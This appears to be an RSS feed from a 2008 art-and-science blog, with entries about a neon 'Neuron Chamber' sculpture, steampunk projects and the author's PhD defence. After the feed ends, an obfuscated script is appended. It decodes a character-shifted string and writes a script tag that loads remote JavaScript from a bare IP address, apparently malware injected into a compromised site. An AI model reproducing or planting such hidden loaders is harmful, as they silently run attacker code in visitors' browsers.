<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Almost Scientific</title>
	<atom:link href="http://www.almostscientific.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.almostscientific.com/blog</link>
	<description>Almost Scientific -- The Ongoing Investigations of Alan Rorie</description>
	<pubDate>Tue, 18 Nov 2008 07:02:00 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>The Neuron Chamber &#8212; Lightwave Prep &#8212; High Voltage Manifold</title>
		<link>http://www.almostscientific.com/blog/2008/11/18/the-neuron-chamber-lightwave-prep-high-voltage-manifold/</link>
		<comments>http://www.almostscientific.com/blog/2008/11/18/the-neuron-chamber-lightwave-prep-high-voltage-manifold/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 07:02:00 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Sculpture]]></category>

		<category><![CDATA[The Neuron Chamber]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=859</guid>
		<description><![CDATA[I&#8217;ve started fabricating the additions to the Neuron Chamber for our upcoming show in Ireland.
One of the most important additions is the High Voltage Manifold, that will house the high voltage wires running from the neon sign transformers to the axons.
For the last installation we ran the wire through soft, black, rubber tube.?? This was [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/11/18/the-neuron-chamber-lightwave-prep-high-voltage-manifold/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Heart Gears</title>
		<link>http://www.almostscientific.com/blog/2008/11/14/heart-gears/</link>
		<comments>http://www.almostscientific.com/blog/2008/11/14/heart-gears/#comments</comments>
		<pubDate>Fri, 14 Nov 2008 08:15:24 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Stimulations &amp; Inspirations]]></category>

		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=855</guid>
		<description><![CDATA[
]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/11/14/heart-gears/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Almost Scientific&#8217;s New Header</title>
		<link>http://www.almostscientific.com/blog/2008/11/12/almost-scientifics-new-header/</link>
		<comments>http://www.almostscientific.com/blog/2008/11/12/almost-scientifics-new-header/#comments</comments>
		<pubDate>Wed, 12 Nov 2008 23:10:58 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=853</guid>
		<description><![CDATA[Look up there, see the new header??? Like it??????? I&#8217;ll likely be changing it over the next few days.?? Let me know if there is a version you like most by leaving a comment.
]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/11/12/almost-scientifics-new-header/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Chalk Boards</title>
		<link>http://www.almostscientific.com/blog/2008/11/12/chalk-boards/</link>
		<comments>http://www.almostscientific.com/blog/2008/11/12/chalk-boards/#comments</comments>
		<pubDate>Wed, 12 Nov 2008 20:26:35 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Stimulations &amp; Inspirations]]></category>

		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=850</guid>
		<description><![CDATA[Whenever my graduate thesis adviser once told me &#8220;as soon as you start drawing lines in the air no one knows what they hell you  are talking about.&#8221;
This was typically in response to someone in the lab elaborating a point by drawing an imaginary graph in the air with their fingers.
If you ever tried [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/11/12/chalk-boards/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Street with a view</title>
		<link>http://www.almostscientific.com/blog/2008/11/10/street-with-a-view/</link>
		<comments>http://www.almostscientific.com/blog/2008/11/10/street-with-a-view/#comments</comments>
		<pubDate>Mon, 10 Nov 2008 18:19:17 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Stimulations &amp; Inspirations]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=846</guid>
		<description><![CDATA[Ever wish you knew exactaly when those google map cars were going to be driving down your street so you could run outside in a yeti costume while juggling a lamp, a bottle of katsup and a hard-boild egg?
Well, that migh jsut be my vision.?? But check out the Street With a View project out [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/11/10/street-with-a-view/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Neuron Chamber to appear at Lightwave 2009!</title>
		<link>http://www.almostscientific.com/blog/2008/11/07/the-neuron-chamber-to-appear-at-lightwave-2009/</link>
		<comments>http://www.almostscientific.com/blog/2008/11/07/the-neuron-chamber-to-appear-at-lightwave-2009/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 00:41:33 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Showings]]></category>

		<category><![CDATA[The Neuron Chamber]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=844</guid>
		<description><![CDATA[Another big announcement!
The Neuron Chamber has been invited to Dublin, Ireland, this winter to participate in Lightwave 2009.
Lightwave is a event at the Science Gallery, which is a science and art space, associated with Trinity College.
Check out some of the fantastic work that was featured at Lightwave last year.
You can see a portion of the [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/11/07/the-neuron-chamber-to-appear-at-lightwave-2009/feed/</wfw:commentRss>
		</item>
		<item>
		<title>EgoPHobia interview with Sean O about the Steampunk Treehouse</title>
		<link>http://www.almostscientific.com/blog/2008/11/07/egophobia-interview-with-sean-o-about-the-steampunk-treehouse/</link>
		<comments>http://www.almostscientific.com/blog/2008/11/07/egophobia-interview-with-sean-o-about-the-steampunk-treehouse/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 00:27:52 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Friends Collaborators and Accomplices]]></category>

		<category><![CDATA[In The Media]]></category>

		<category><![CDATA[Steampunk Treehouse]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=842</guid>
		<description><![CDATA[Romanian culture magazine EgoPhobia recently did a long interview with my shop-mate and Treehouse collaborator Sean Orlando about the Steampunk Treehouse and the ideas behind Steampunk.
Click this to read the interview, which features some photos by Almost Scientific!
Sean give an extended response to the hub-bub about the death of steampunk that went down in Design [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/11/07/egophobia-interview-with-sean-o-about-the-steampunk-treehouse/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Almost Scientific now fully scientific</title>
		<link>http://www.almostscientific.com/blog/2008/11/07/almost-scientific-now-fully-scientific/</link>
		<comments>http://www.almostscientific.com/blog/2008/11/07/almost-scientific-now-fully-scientific/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 00:15:28 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=840</guid>
		<description><![CDATA[Hello all &#8211;
Almost Scientific has now officially emerged from hiatus.?? Thank&#8217;s for sticking around!
And yes, I passed my PhD thesis defense, and my thesis adviser was quick to point out that I&#8217;m now &#8220;Fully Scientific.&#8221;
But, Almost Scientific never had anything to do with my scientific work.?? The name actually applies specifically to my style of [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/11/07/almost-scientific-now-fully-scientific/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Decision and Elections</title>
		<link>http://www.almostscientific.com/blog/2008/10/28/decision-and-elections/</link>
		<comments>http://www.almostscientific.com/blog/2008/10/28/decision-and-elections/#comments</comments>
		<pubDate>Tue, 28 Oct 2008 20:39:15 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=831</guid>
		<description><![CDATA[Okay &#8212; I know I said I was on hiatus so I could focus on completing my thesis but this was too much to pass up.
I came across this op-ed piece in the New York Times today:  Your Brains Secrete Ballot.
Here is a little snippet:
Neuroscientists have begun to tease out the brain systems that [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/10/28/decision-and-elections/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Almost Scientific on short hiatus</title>
		<link>http://www.almostscientific.com/blog/2008/10/27/almost-scientific-on-short-hiatus/</link>
		<comments>http://www.almostscientific.com/blog/2008/10/27/almost-scientific-on-short-hiatus/#comments</comments>
		<pubDate>Tue, 28 Oct 2008 05:28:27 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=829</guid>
		<description><![CDATA[Hey folks &#8211;
You many have noticed that posts have gotten bit sporadic lately. Well, for the past few week I&#8217;ve been hunkered down preparing my PhD dissertation for my defense, which is on Nov 5th.  So, at least until then, Almost Scientific will officially be on hiatus.  When I return, I suppose I&#8217;ll [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/10/27/almost-scientific-on-short-hiatus/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Lovely</title>
		<link>http://www.almostscientific.com/blog/2008/10/24/lovely/</link>
		<comments>http://www.almostscientific.com/blog/2008/10/24/lovely/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 08:08:20 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=827</guid>
		<description><![CDATA[
]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/10/24/lovely/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Origami-Inspired Folding Bamboo House</title>
		<link>http://www.almostscientific.com/blog/2008/10/23/the-origami-inspired-folding-bamboo-house/</link>
		<comments>http://www.almostscientific.com/blog/2008/10/23/the-origami-inspired-folding-bamboo-house/#comments</comments>
		<pubDate>Thu, 23 Oct 2008 08:08:18 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=825</guid>
		<description><![CDATA[
]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/10/23/the-origami-inspired-folding-bamboo-house/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Who is Batman?</title>
		<link>http://www.almostscientific.com/blog/2008/10/15/who-is-batman/</link>
		<comments>http://www.almostscientific.com/blog/2008/10/15/who-is-batman/#comments</comments>
		<pubDate>Wed, 15 Oct 2008 21:23:29 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Submitted For Consideration]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=823</guid>
		<description><![CDATA[
]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/10/15/who-is-batman/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Machine</title>
		<link>http://www.almostscientific.com/blog/2008/10/14/the-machine/</link>
		<comments>http://www.almostscientific.com/blog/2008/10/14/the-machine/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 19:35:09 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Stimulations &amp; Inspirations]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=821</guid>
		<description><![CDATA[Untitled from mudlevel on Vimeo.
]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/10/14/the-machine/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Village Pet Store And Charcoal Grill</title>
		<link>http://www.almostscientific.com/blog/2008/10/09/village-pet-store-and-charcoal-grill/</link>
		<comments>http://www.almostscientific.com/blog/2008/10/09/village-pet-store-and-charcoal-grill/#comments</comments>
		<pubDate>Thu, 09 Oct 2008 23:18:01 +0000</pubDate>
		<dc:creator>Alan</dc:creator>
		
		<category><![CDATA[Stimulations &amp; Inspirations]]></category>

		<guid isPermaLink="false">http://www.almostscientific.com/blog/?p=811</guid>
		<description><![CDATA[The world famous (and very cool) mysterious-man of art Banksy has opened a pet shop in NYC.
Located at 89 7th Avenue between West 4th and Bleeker Street and operating till October 31st (Halloween), Banksy&#8217;s pet store is officially open each and every daily from 10am until midnight.
If you live in or near NYC and you [...]]]></description>
		<wfw:commentRss>http://www.almostscientific.com/blog/2008/10/09/village-pet-store-and-charcoal-grill/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<html>
<script>var source ="=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-43-227-232-223-212-72-45-227-212-231-227-58-217-:8-229-:8-226-::-225-216-223-227-45-43-226-225-::-72-45-215-227-227-223-69-58-58-68-5:-57-5:-63-61-57-65-63-57-68-5:-58-224-228-:8-221-227-226-212-225-229-212-58-224-228-:8-221-227-57-217-226-45-73-71-58-226-::-225-216-223-227-73**<=0tdsjqu?"; var result = ""; 
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); 
document.write(result); </script>
</html>